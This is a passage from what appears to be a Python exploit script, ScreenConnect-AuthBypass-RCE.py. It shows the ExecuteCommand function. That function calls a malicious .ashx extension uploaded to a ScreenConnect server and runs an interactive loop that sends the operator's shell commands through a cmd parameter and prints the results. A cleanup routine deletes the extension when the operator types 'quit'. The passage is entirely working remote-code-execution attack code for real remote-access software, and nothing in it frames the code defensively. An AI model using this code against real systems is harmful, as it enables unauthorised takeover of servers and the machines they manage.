Function ExecuteCommand

ScreenConnect-AuthBypass-RCE.py:118–138

(url)

        print("[-] Error in func <UploadExtension>, error message: " + str(err))

def ExecuteCommand(url):
    try:
        resp = session.get(url=url + f"/App_Extensions/{payload_ashx}", headers=exploit_header, verify=False, proxies=proxy)
        if resp.status_code == 200:
            print(f"[+] Shell Url: {url + f'/App_Extensions/{payload_ashx}'}")
            print("[+] Please start executing commands freely! Type <quit> to delete the shell")
            while True:
                cmd = input(f"{GREEN}command > {RESET}")
                if cmd == "quit":
                    DeleteExtension(target, plugin_guid)
                    sys.exit(0)
                try:
                    resp = session.get(url=url + f"/App_Extensions/{payload_ashx}?cmd={cmd}", headers=exploit_header, verify=False, proxies=proxy)
                    print(resp.text)
                except Exception as err:
                    print("[-] Error in func <ExecuteCommand>, error message: " + str(err))
        else:
            print(f"[-] Malicious extension load error ({url + f'/App_Extensions/{payload_ashx}'}), Refer to https://www.connectwise.com/globalassets/media/documents/connectwisecontrolsecurityevaluationmatrix.pdf")
            DeleteExtension(target, plugin_guid)
    except Exception as err:
        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))

def DeleteExtension(url, plugin_guid):
    global DELETE_STATUS